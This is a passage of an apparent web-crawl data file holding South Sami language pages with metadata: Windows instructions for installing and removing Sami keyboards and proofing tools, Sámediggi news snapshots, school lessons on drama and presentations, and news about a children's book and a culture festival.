guvviem guektien aejkien diedtieh.Datum, klockslag, språk och internationella inställningar:\n2.Daelie datne gaskenasjovne sjïehtedimmiej sisnie.Daesnie guvviemInställningar för region och språk: guektien aejkien diedtieh\n3. Daennie borhtjesne maahtah veeljedhSpråk jïh diedtieh dellie båaloem Detaljer:\n4. DiedtiehLägg till... .Daelie maahtah veeljedh gïelem mejnie sïjhth tjaeledh.DaesnieSamiska: veeljh dellie\n.\n5. Daelie maahtah gaajhkide klaaside dahpedh jih bååstede tjaelemebuartan vaedtsedh.\n6.Gosse edtjh saemien gïelesne tjaeledh, dle gïeleguvviem deadtah mij lea vöölemes dennie åelkiesbielesneSamiska :\nDaelie båaloebuertiem noerhtesaemien baakojde sjïehtesjadteme, v.g. båaloe \"q\" baakoem \"á\" vadta jïh båaloe \"¨\" baakoem \"ŋ\" vadta jnv.\nDivvunem Windows:sne utnedh\nJis divvundïrrege edtja maehtedh datnem viehkiehtidh, die tjoeverh daatovrem stïlledh saemien gïelesne staeriedidh.\n1a. MS Office 2003: Gosse datne MS Office:m rïhpestamme die menyemVerktyg -> Språk -> Ange språk … veeljh dellie\n1b. MS Office 2007: Gosse datne MS Office:m rïhpestamme die diedtiehGranskajïh desnie veeljh Ange språk\n2. Daelie edtjh veeljedhSamiska jallh Lulesamiska . Vueptesth dellie! Tjoerh geehtedh ahte Identifiera språk automatiskt ij leah veeljesovveme. Jis lea nimhtie, ahte Office iktegisth bååstede jåhta jeatjah gïelide, guktie Divvundïrregh eah buektehth staeriedidh.\n3. Daelie maahta saemien aelkedh tjaeledh jïh provgraamme datnem viehkehte rïekteslaakan tjaeledh. Maahtah veeljedh åelkies båaloem diedtedh baakoej nelnie mej leah rööpses sïevh. Dillie naemhtie våajnoe:\njallh maahtah staeriedimmiedïrregem aelkiehtidh sjïere klaasesne. Diedtieh dellie.Destie sjædta:\n4. Gosse lea barkeminie saemien tjaalaldahkine dellie muvhtene daerpies sjïere baakoeh jeatjah gïelijste tjaeledh, v.g. sveerjen jallh nöörjengïelesne, jih dellie aaj daerpies veeljedh båaloebuertiem mij åtnasåvva. Staeriedimmiedïrrege jïjtje seamma gïelem åtna, man lea båaloebuertesne.Gosse bååstede båetedh saemien staeriedimmiedïrregasse dle daerpies abpe tjaalaldahkem mïerkesjidh jih veeljedh saemiengïelem tjaelemegïeline. Vuartasjh bihkedimmiem 1. jih 2. Divvun Windows:sne utnedhSaemiengïelem veeljedh.\nVaeltedh destie\n- Rïhpesth Kontrollpanel\n- Diedtieh Legg til eller ta vekk program\n- Plaeresth våålese Sámi Proofing Tools Diedtieh\n- Diedtieh Fjern båaloem\n- Gosse destie vaalteme, dellie Sámi Proofing Tools sijjiedahteme programmh leah gaarvenamme\n- Jis åarjelsaemien betaversjovnem åtnah, dellie maahtah dam slïejhtedh.Diedtieh dellie SouthSamiSpellerBeta1 jïh diedtieh Forandre\/Fjern:","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/divvun.no\/sma\/userdocs\/leaflet\/win-install.html","date":"2013-05-21T09:24:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699856050\/warc\/CC-MAIN-20130516102416-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.9999850988,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999850988388062}","num_words":356,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nStaaresaemide prïhtjegasse bööredieh\nSaemiedigkiepresidente Aili Keskitalo jïh saemiedigkieraerie gaajhkesidie bööredieh båetedh Samisk Hus'se Oslosne dæjstan 10.12.13, prïhtjegasse jïh soptsestæmman.\nSaemiedigkieraerie sæjhta staaresaemide råakedh juktie raeriestimmieh åadtjodh jïh båetijen aejkien haestemh digkiedidh\n-\nSaemiedigkie laavenjostoelatjkoem dorje Nöörjen foestehïejmesiebrine. Latjkoen aajkoe lea sjïehteladtedh akten hijven foestehïejmehoksese saemien maanide, gusnie maanaj gïele jïh kultuvre gorresuvvieh.\n-\nSámedikki 2014 bušeahtta\nMearriduvvon juovlamánu 5. b. 2013.\nSámedikki 2014 bušeahtta (PDF)\n-\nSaemiedigkien stoerretjåanghkoe edtja raeriestimmiem jarkelimmide nöörjen-sveerjen båatsoekonvensjovneste digkiedidh goeven aalkoelisnie. Saemiedigkiepresidente jeahta barkoedåehkien raeriestimmie lea akte hijven dïrrege juktie dam raastendåaresth...\n-\nSaemesth munnjien\n\"Saemesth munnjien\" akte kampanje abpe laantesne mij gaajhkide saemien noeride feerhmie, dovne dah mah saemiestieh, ånnetji saemien maehtieh jïh dah mah eah saemien maehtieh.\n-\nSametingsrådet er økende bekymret for situasjonen ved De samiske samlinger\/Sámiid Vuorká-Dávvirat(SVD) i Karasjok. Sametingsrådet har derfor tatt initiativ til en midlertidig løsning som skal sikre fortsatt drift i ett år.\nSeminaare jïh konferaanseMïnnh biejjielåhkose\nMøte\nAejkiemierieMïnnh biejjielåhkose\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.saemiedigkie.no\/","date":"2013-12-10T13:01:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019123\/warc\/CC-MAIN-20131204133339-00071-ip-10-33-133-15.ec2.internal.warc.gz","language":"sma","language_score":0.9998007417,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998007416725159}","num_words":181,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieLissiehtamme stipendeåasah jïh vijriedamme ulmiedåehkie stipendese learoehkidie mej saemien faagegievlesne\nSaemiedigkie jåarhka stipendem vedtdh learoehkidie mej saemien gïele faagegievlesne jåarhkeskuvlesne aaj 2015. Dïhte mij lea orre 2015 lea aaj bielietïjjen learohkh mej saemien gïele faagegievlesne, nuepiem utnieh stipendem ohtsedh jïh stipe...\n-\nSaernieGuolástusvuođu billisteapmi\nSámediggeráđđi Silje Karine Muotka oaivvilda ahte rievdadusevttohusain maid Tveterås-lávdegoddi odne ovddidii leat hui stuorra ja duođalaš váikkuhusat guolástusaide Norggas.\n-\nSaernieSæjhta daajroem lissiehtidh vædtsoesvoeten bïjre lïhke fuelhkine\nSaemiedigkien budsjedtesne 2015 lea dåårjeme 450 000,- kråvnah akten prosjektese vædtsoesvoeten bïjre lïhke fuelhkine saemien siebriedahkine. Prosjekte akte laavenjostoe Justijse- jïh riejriesvoetedepartemeentine. Goerehtimmien aajkoe lea goerehta...\n-\nSaernieBidjet searaid duodjebagadalliide\n-Sámediggeráđđi lea mearridan juolludit viidáset doarjaga Duodjeinstituhttii nu ahte sáhttá viidásetfievrridit duodjebagadalliortnega Gaska- ja Nuorta-Finnmárkkus, lohká sámediggeráđđi Silje Karine Muotka.\n-\nSaernieSaemien tastatuvre smarttellefovnide gaervies\nTjïelte- jïh orrestimmieministere Jan Tore Sanner jïh saemiedigkiepresidente Aili Keskitalo jiehtieh aarkebiejjie aelhkebe sjædta saemien årroejidie gosse mijjieh saemien tastatuvrem smarttellefovnide åadtjobe. Daan biejjien tastatuvre smarttellef...\n-\nSaernieAkte budsjedte båetijen aajkan\nSaemiedigkien budsjedte 2015 nænnoestamme sjïdti stoerretjåanghkosne bearjadahken, goeven 5.b. Raerielïhtsege Ann-Mari Thomassen lea madtjeles ihke Saemiedigkie aktem budsjedtem nænnoestamme mij sæjhta saemien siebriedahkem lutnjedh båetijen aajkan.\nSeminaare jïh konferaanse\nMøte\nAejkiemierieMïnnh biejjielåhkose\nGærjagåetieSaemiedigkien gærjagåetie lea akte bielie Saemiedigkien reeremistie. Gærjagåetie dam stööremes&nb...\nGærjagåetie","id":"","dump":"CC-MAIN-2014-52","url":"http:\/\/www.saemiedigkie.no\/","date":"2014-12-18T15:20:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-52\/segments\/1418802767247.82\/warc\/CC-MAIN-20141217075247-00127-ip-10-231-17-201.ec2.internal.warc.gz","language":"sma","language_score":0.9973035455,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9973035454750061}","num_words":217,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieOđđa bargamušat daidda gielddaide main ii leat sámi perspektiiva\n-Lean ilus go gielddat nannejuvvojit eanet bargamušaiguin, muhto dat ferte seammás nannet bálvalusaid sámi álbmogii. Dađibahábut ii váilu dát bealli dan ráđđehusa stuorradiggedieđáhusas mii biddjojuvvui ovdan odne, dadjá sámediggeráđđi Ann-Mari Th...\n-\nSaernieVihkeles råajvarimmieh irhkemen vööste\nDjupedal-moenehtse lea dov raeriestimmiem deelleme gusnie vuartesje mij lea daerpies juktie skuvlebyjresem bueriedidh jïh irhkemem skuvlesne giehpiedidh. Manne madtjeles ihke moenehtse lea vihkeles råajvarimmieh raeriestamme juktie trïegkenassem j...\n-\nSaernieIsac Elliot oassálastá Sámás muinna loahpaheamis\nSámedikki giellakampánja \"Sámás muinna\" manná loahpaguvlui ja giellaambassadevrrat háliidit čalmmustahttit dan ovttas mánáiguin ja nuoraiguin Guovdageainnu beassášfestiválas. Gaskavahkku cuoŋománu 1.b. bovdet mii dolasteapmái ja doppe vuorbádit nu...\n-\nSaernieSaemiedigkie sov stoerretjåanghkoem hööltie Stoerredigkesne skïereden\nStoerredigkie jïh Saemiedigkie leah joekoen geerjene dah maehtieh bievnedh Saemiedigkien stoerretjåanghkoe skïereden Stoerredigkesne sjædta.\n-\nSaernieStoerre ïedtje Gïelemoenehtsen barkoen bïjre\nSaemien gïelemoenehtsen åvtehke, Bård Magne Pedersen stoerre ïedtjem vuajna dan barkoen bïjre mejnie moenehtse nïerhkeme. Moenehtse edtja orre öörnegh, råajvarimmieh jïh njoelkedassh raeriestidh mah leah ektiedamme vaarjelæmman jïh evtiedæmman dej...\nPolitihkeles siebrieSametingsrådet\nRådet fungerer som Sametingets regjering, og står for den daglig politiske virksomheten. Sametingsrådets medlemmer er oppnevnt av presidenten, som leder rådet.\nPlenumsforsamlingen\nSametinget i plenum er Sametingets øverste organ og myndighet. Plenumsmøter avholdes vanligvis fire ganger i året, samme uke som komitémøtene.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2015-14","url":"http:\/\/www.saemiedigkie.no\/","date":"2015-04-01T14:22:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-14\/segments\/1427131304625.62\/warc\/CC-MAIN-20150323172144-00151-ip-10-168-14-71.ec2.internal.warc.gz","language":"sma","language_score":0.8940778971,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8940778970718384, \"sme_Latn_score\": 0.10517942160367966}","num_words":236,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":0.927,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie edtja saemiej politihkeles sijjiem veaksahbåbpoe darjodh jïh saemiej iedtjh skreejredh Nöörjesne jïh sjïehteladtedh guktie saemieh maehtieh sov gïelem, sov kultuvrem jïh sov siebriedahkejieledem gorredidh jïh evtiedidh.Saemiedigkien bïjre\n-\nSaernieGovlehtimmie: Orre politihke saemien lidteratuvrese\nSaemiedigkieraerie orre politihkem sæjhta juktie saemien lidteratuvrem nænnoestehtedh, jïh daan sjïekenisnie aktem govlehtimmieboelhkem tjïrrehte saemien gærja- jïh lidteratuvresuerkine. Prosesse edtja aktine reektestimmine galhkedh orre saemien lidteratuvrepolitihken bïjre Saemiedigkien stoerretjåanghkose goeven 2016.\n-\nSaernieAerpievuekien jeanoevïnhtsebigkemem vuesiehtidh\nSaemiedigkieraerie 184 400 kråvnah dåårje Sámiid Vuorká-Dávvirat\/ Saemien Våarhkoe RiddoDuottarMuseat Karasjohkesne juktie kuvsjem hööltedh aerpievuekien jeanoevïnhtsebigkemisnie, jïh barkoem vïnhtsebigkeminie vihtiestidh.\n-\nSaernieSámediggi giellaofelažžan\nSámediggi bargá beaivválaččat sámegiela nannet ja ovddidit. Dál háliida Sámediggeráđđi oažžut digaštallama Sámedikki iežas giellageavaheami birra.\n-\nSaernieJienebh åarjelsaemien tjïelth reeremedajvesne vaajtele\nSaemiedigkiepresidente Aili Keskitalo lea laejhtehks ihke Tjïelte- jïh orrestimmiedepartemeente ij sïjhth ohtsemem Aarborten tjïelteste gïetedidh juktie meatan sjïdtedh saemien gïelen reeremedajvesne, åvtelen Saemien gïelemoenehtse lea gaervies so...\n-\nSaernieBeaivváš beetnegh åådtje\nSaemiedigkieraerie raereste 1,2 millijovnh kråvnah dåarjodh Beaivváš Sámi Našunalteahterasse juktie feestevuasahtallemem «The Yoik Consert: Eallin mokta – Jielemen aavoe» tjïrrehtidh heevehtimmesne Tråante 2017.\n-\nSaernieSámedikki čilgehus sámi girjjálašvuođa birra\nSámediggeráđđi lea bargagoahtán čilgehusain mii galgá geahčadit sámi girjjálašvuođa stuorát oktavuođas ja hábmet eanet ollislaš politihka dan suorggis. Sámedikkis leat iešguđet áŋgiruššamat, ja váikkuhangaskaoamit, girjjálašvuođasuorggis. Čilgehus...\nPolitihkeles siebrieSaemiedigkieraerie\nRaerie lea goh Saemiedigkien reerenasse, jïh dam biejjieladtje politihkeles barkoem reerie. Saemiedigkieraerien lïhtsegh leah nammoehtamme presidenteste, mij lea raerien åvtehke.\nStoerretjåanghkoe\nSaemiedigkien stoerretjåanghkoe lea Saemiedigkien bijjemes åårgane jïh faamoe. Stoerretjåanghkoeh sïejhmemes njieljien aejkien jaepien, seamma våhkoen goh moenehtsetjåanghkoeh.\nMij heannede?\nGærjagåetie\nGærjagåetie","id":"","dump":"CC-MAIN-2016-30","url":"http:\/\/www.saemiedigkie.no\/","date":"2016-07-27T07:38:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-30\/segments\/1469257826736.89\/warc\/CC-MAIN-20160723071026-00116-ip-10-185-27-174.ec2.internal.warc.gz","language":"sma","language_score":0.9899989367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9899989366531372}","num_words":232,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nyheter\n-\nBuerie biejjieh gaajhkh dovnesh! Gïelem nastedh jïh Saemien Sijte gieltegs jïh lïerije biejjide bööredieh teemaj bïjre leekedimmie jïh beapmoejurjiehtimmie. Programme:…Les mer »\n-\nBuerie biejjie gaajhkh nyjsenæjjah! Daelie nyjsenæjjaj våaroe – Buerie båeteme Gïelebeasan\/faageles lissiefeeleme Staarese jïh DELLIE MAA-sápmi indigenous film & art…Les mer »\n-\nVi har festivalpriser under Raasten rastah på alle bøker Gïelem nastedh har gitt ut! Billedbøker kr 50,- og hardpermbøker kr…Les mer »\n-\nGïelem nastedh og Nord-Trøndelag fylkesbibliotek lanserer tre nye bøker under festivalen Raasten rastah i Røros 29.september! Gaskejijjen gærjagåetie - Midnattsbiblioteket…Les mer »","id":"","dump":"CC-MAIN-2016-50","url":"http:\/\/gielemnastedh.no\/","date":"2016-12-10T20:28:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698543567.64\/warc\/CC-MAIN-20161202170903-00019-ip-10-31-129-80.ec2.internal.warc.gz","language":"sma","language_score":0.9946277738,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9946277737617493}","num_words":81,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njaalmeldh åehpiedehtemem vuarjasjidh\nMaam tjoerh ussjedidh gosse edtjh njaalmeldh åehpiedehtemem vuarjasjidh. Daesnie naan raerieh gåessie datne edtjh mubpiej åehpiedehtemem vuarjasjidh. Dah leah v.g. soptsestæjja gïelem sov goltelæjjide sjïehtedamme? Mah dïhte kråahpegïeline jeahta? Gaajhkesh goltelieh maam dïhte jeahta?\nDan nuelesne naan raerieh gåessie datne edtjh jeatjebi åehpiedehtemem vuarjasjidh:\n- Sisvege\nAamhtesem njaalmeldh åehpiedehtiemasse sjïehtedamme? Dah goltelæjjah sisvegem guarkoeh? Seedtije naan gïerve jallh ammes baakoeh nuhtjie, mah gïerve guarkedh?\n- Dïhte goltelæjjide gutnie?\nDïhte seedtije goltelæjjide gutnie jis dah goltelieh jïh guarkoeh maam jeahta?\n- Gïele-åtnoe\nGovlh datne seedtijem? Gaajhkesh dam guvlieh? Dïhte sjïehteles gïeline soptseste?\n- Kråahpegïele\nSeedtije ïedtjem tjïelkelaakan goltelæjjide buakta?","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/163216?fag=126960","date":"2017-03-30T04:59:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00550-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":97,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Subjektijve guvvie\nAktene guvvie-raajrosne dle åajvahkommes heannadimmiem ålkoelistie åehpiedahta. Daejnie mïelebe lohkije almetjidie dåerede åenehks jallh guhkies maajeste. Men guvviedæjja aaj nuepiem åtna mijjem baajedh heannadimmiem dååjredh tjelmiejgujmie akten dejstie almetjijstie. Mijjieh daam viehkie-vierhtiem gåhtjobe subjektijve guvvie.\nGuvvieh mah raajrosne mijjieh vuesiehtimmiem gaavnebe guktie subjektijve guvvie åtnasåvva. Voestes jïh gåalmadinie guvvesne ålmam ålkoelistie vuejnebe, mearan mubpene guvvesne sïejpem vuejnebe naemhtie guktie ålma mij dan uvte tjåådtje, jïjtje dam dååjroe.\nBaakoe\nsubjektijve guvvie\nsubjektivt bilde\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive kreative tekster med bruk av ulike språklige virkemidler\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172837?fag=126960","date":"2017-03-30T04:54:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00203-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.997508347,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9975083470344543}","num_words":140,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie draama jåhta\nDahkoe aerpievuekie-draamesne juakeme boelhketjisnie. Dahkoe kronologijen mietie jåhta, men tjaelije maahta dovne åvtese jïh bååstide tjaatsestidh.\nShakespearen draama Romeo jïh Julia åenehks diktine aalka, prologine, mij soptseste guktie gåerede. Læjhkan ij dan konkreeteles guktie vuartasjæjjah tjetskehke sjidtieh jïh ussjedieh guktie minnge-gietjesne sjædta. Dorjehtimmien dahkoe våhkoen mietie jåhta. Dah göökte åejvieråålla-gaagkoeh feestesne dïervesjieh jïh gearanieh, tjeakoesvoetine biejjien mænngan pruvrieh jïh njieljie biejjiej mænngan dah sealadieh.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/173900?fag=126960","date":"2017-05-24T10:18:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00620.warc.gz","language":"sma","language_score":0.9977500439,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9977500438690186}","num_words":118,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draama jïh dramatihke\nAlmetjh leah guhkede gietjeste råållah spealadamme jïh lustestalleme gosse jeatjah almetjinie voejhkelamme årrodh. Medtie 2500 jaepiej raejeste dellie dah greekerh daam stååkedimmiem evtiedin sjangerasse man sjïere væhtah. Gaajhke mij heannede draamesne maehtebe dallegh vuejnedh. Mijjieh gaajhkh persovnh\/almetjh åahpanadtebe, gosse vuejnebe jïh goltelibie mah dah darjoeh jïh maam dah jiehtieh jallh soptsestieh. Mijjese aelhkebe draamam guarkedh jïh jaehkedh jis buerie jiehtegh jallh replihkh gååvnesieh mejtie tuhtjebe jaehkemes. Jis dovne replikh jïh svihtjemh aktanieh dellie vuartasjæjjah maehtieh draamam guarkedh jïh sisvegem jïh dahkoem dåeriedidh.\nDovne teaterisnie jïh spïele-filmesne vihkele dorjehtæjjaj scene-vaarjoeh sisvegasse jïh dahkose sjiehtieh. Mijjieh edtjebe daennie tsiehkesne årrodh, tïjjen jïh sijjine mah dorjehtæjjah voejhkelieh skaepiedidh. Seamma vuekine kulissigujmie jallh byjresinie, v.g. mööbelinie jïh vïedtjine. Nuhteligs teatere aktem byjresem jïh mieriem skaepede dahkose vuasastallemen bïjre. Aarebi stoerre tjïehtjelh, gåetieh jïh voenh bigkin guktie draama-byjrese edtji sjïdtedh guktie dah sïjhtin. Daen biejjien byjresh daata-teknologijen tjïrrh skaepiedieh.\nDraama-sjangeren væhtah scenesne jallh filmesne\n- Mij heannede? Daelie heannede?\n- Dah replihkh jïh svihtjemh pruvhkieh\n- Dorjehtæjjah ovmessie kostymh\/scena-vaarjoeh pruvhkieh\n- Byjresem voerkes-jïh eensilaakan veeljeme\nDah vihkielommes draama-sjangerh\n- Dorjehtimmie teaterisnie gellie boelhkine juakeme. Fïerhtene boelhkesne gellie scenah. Akte scena lea akte tsiehkie. Aktene scenesne seamma almetjh seamma sijjesne dorjehtieh.\n- Spïele-filme mahte seammalaakan goh dorjehtimmie, men jeatjah viehkie-dïrregh nuhtjie.\n- TV-raajroeh sïejhmemes draamatihke-hammoe daan biejjien. TV-raajrosne mijjieh dejtie seamma almetjidie dåeriedibie, seamma byjresisnie gelline tsiehkine. TV-raajroe gelline boelhkine juakeme.\n- Daata-spïele gellie ovmessie biehkieh åtna, men dahkoe jïh replihkh vihkele. Dah spïelijh leah aaj meatan spïelesne jïh dahkosne, jïh maehtieh spïelem jïh dahkoem tsevtsedh.\nBaakoeh\nsisvege\ninnhold\ndahkoe\nhandling\nreplihke\nreplikk\nsvihtjeme\nbevegelse\nvuasastalleme\nforestilling\ndorjehtæjja\nskuespiller\ndorjehtimmie\nskuespill\naktanidh\nkombinere\nbyjresh\nmiljø\nmierie\nramme\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/173184?fag=126960","date":"2017-05-24T10:19:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00383.warc.gz","language":"sma","language_score":0.9999768734,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999768733978271}","num_words":316,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie dihte gïelejarnge Gïelem Nastedh, Snåasesne daam gåalmede guvvie-gærjam maanide åarjelsaemien gïelese jarkoestamme «Nænnoes traktovrh»\nJijnjh maanah dah stoerre maskijnh lyjhkoeh. Daate lea vaajese traktovren bijre jih dihte soptseste guktie sov barkoebiejjieh leah jih guktie dihte maahta barkedh. Daan traktovren ektesne dah snjearah jih kaaninh mah leah båantah.\nAnita Dunfjeld daam gærjam saemien gïelese jarkoestamme. Daate lea ektiebarkoe Noerhte-Trøøndelagen fylhkengærjagåetie jih dihte eengelske forlage PanMacMillan.\nDaate gærja vuesiehtimmie sjædta suehpeden 7 .b. Snåasesne.","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/orre-maana-gaerja-aarjelsaemien-gielesne-1.12337590","date":"2017-09-21T18:08:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687834.17\/warc\/CC-MAIN-20170921172227-20170921192227-00662.warc.gz","language":"sma","language_score":1.000000596,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000005960464478}","num_words":72,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea voestes aejkien Svahken sijte edtja dagkeres stoerre kultuvre hieljem Elgåsne øørnedh. Åssjalommem åadtjoejin gosse dah saemien skylleme maanah edtjieh guessiedidh. Daate joekoen vihkeles hielje sjædta dejtie voenen almetjidie jih aaj Svahken sijten saemide jeahta Ristin Mortensson.\n– Daam åssjalommem åadtjoejimh daan gijren gosse govlimh dah saemien skylleme maanah Elgåse båetieh. Ussjedallimh, dellie tjoeveribie, daam saemien kultuvre hieljem aaj sjïehtesjidh jeahta Mortensson.\nJoejke vuekie.\n– Mijjien båeries joejke vuekie gaarvanamme. Daelie mijjien joejkeles Marja H Fjellheim Mortensson, Svahken sijteste, ïedtjem åtna jih daam båeries joejke vuekiem lieredh. Dihte lea Frode Fjellheimen ektesne, daejtie båeries vuelide govligan jih daelie nuhtjijægan .Dihte edtja mijjiese buerkiestidh jih lieredh, dagkeres joejke dåehkieh (Workshop)tjirrh ,guktie doestebe vihth joejkestidh. Lohkh aaj:www.nrk.no\/sapmi\/_-sorsamisk-er-mitt-hjertesprak-1.11824720\nVihkeles båatsoe kultuvren bijre bievnedidh.\nDah kultuvre biejjieh skiereden 13-14.b. Dah kultuvre biejjieh vihkeles gaajhkide.\n– Vihkeles mijjese saemide jih daejtie gøllide mij voenesne årroeminie. Daelie edtjebe båatsoen barkoen bijre soptsestidh, magkeres barkoem Nasjonalparhke museumesne dorjeme, magkeres kultuvremojhtesh vïhtesjemme jih guktie mijjieh saemien gieline barkeme. Daate sjædta vihkeles tjåanghkoe sijjie, gusnie gaavnedibie, jeahta Ristin Mortensson.\nJoejke konserte.\nLavveds iehkeden dellie laavlome jih joejke konserte sjædta, Elgån gærhkosne. Desnie edtjieh Jon Henrik Fjällgren, Marja H Fjellheim Mortensson jih Alf jih Tone 